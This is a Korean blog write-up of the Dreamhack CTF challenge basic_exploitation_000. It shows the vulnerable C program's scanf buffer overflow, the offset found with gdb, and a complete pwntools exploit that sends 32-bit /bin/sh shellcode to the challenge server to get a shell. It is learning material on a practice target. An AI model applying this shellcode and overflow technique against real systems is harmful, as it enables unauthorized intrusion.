Pwnable/Dreamhack
basic_exploitation_000 -Dreamhack-
KSJ._.seven11
2023. 2. 19. 00:02
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
문제의 소스코드다.
취약점을 찾을 수 있는 곳은 scanf 부분이다.
buf을 0x80 크기만큼 정했지만
scanf 를 통해 141byte 까지 받아올 수 있기에 취약점이 발생한다.
gdb를 통해 pattern 을 만들어 ret 까지 거리를 구해보자.
이를통해 esp 에서 ret 진입하기 직전까지 거리가 132 인 것을 확인할 수 있다.
이후 욤뇸뇸하게 쉘코드를 구굴링 해봤다.
32비트 리눅스 환경에서의 쉘코드다.
이후 받은 buf 값에 쉘코드 + dummy 값을 넣어 총 132byte를 채워 버퍼오버플로우를 익히고 ret 영역을 침범하여
다시 buf 값에 이동하면 쉘코드가 실행되어 flag을 탈취 할 수 있을 것이다.
그렇게 짠 익스플로잇 코드는 다음과 같다.
from pwn import *
p = remote('host3.dreamhack.games', 13328)
buf_addr = int(p.recv()[7:17], 16) # buf = (0xfff5edd8) 출력된다.
#buf = (0xfff5edd8)
#012345678911234567
# 7:17 까지 p.recv로 받는다면 0xfff5edd8 을 16진수 형식으로 저장할 수 있다.
shellcode = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload = shellcode # Shellcode
payload += b'A' * 106 # Shellcode + dummy 값
payload += p32(buf_addr) # 리틀엔디안 형식으로 ret 값 침범하여 값을 넣는다.
p.sendline(payload) # payload 전송 !
p.interactive() # 쉘 실행 및 유지
야호 성공이다 !!
pwnable 을 드림핵으로 입문했던 나에게는 이 문제는 상당히 버거웠다...
과거 풀이를 보고 푼적이 있지만 protostar을 통해 기초적인 pwnable 맛을 보고 이번에는 처음부터 스스로의 힘으로 풀 수 있었다.
역시 드림핵은 나같은 초짜 입문자에게는 힘들지 않나 싶다...
차근차근 protostar와 병행하면서 풀이를 보며 풀었던 문제들을 다시 스스로의 힘으로 풀어 나가봐야 겠다...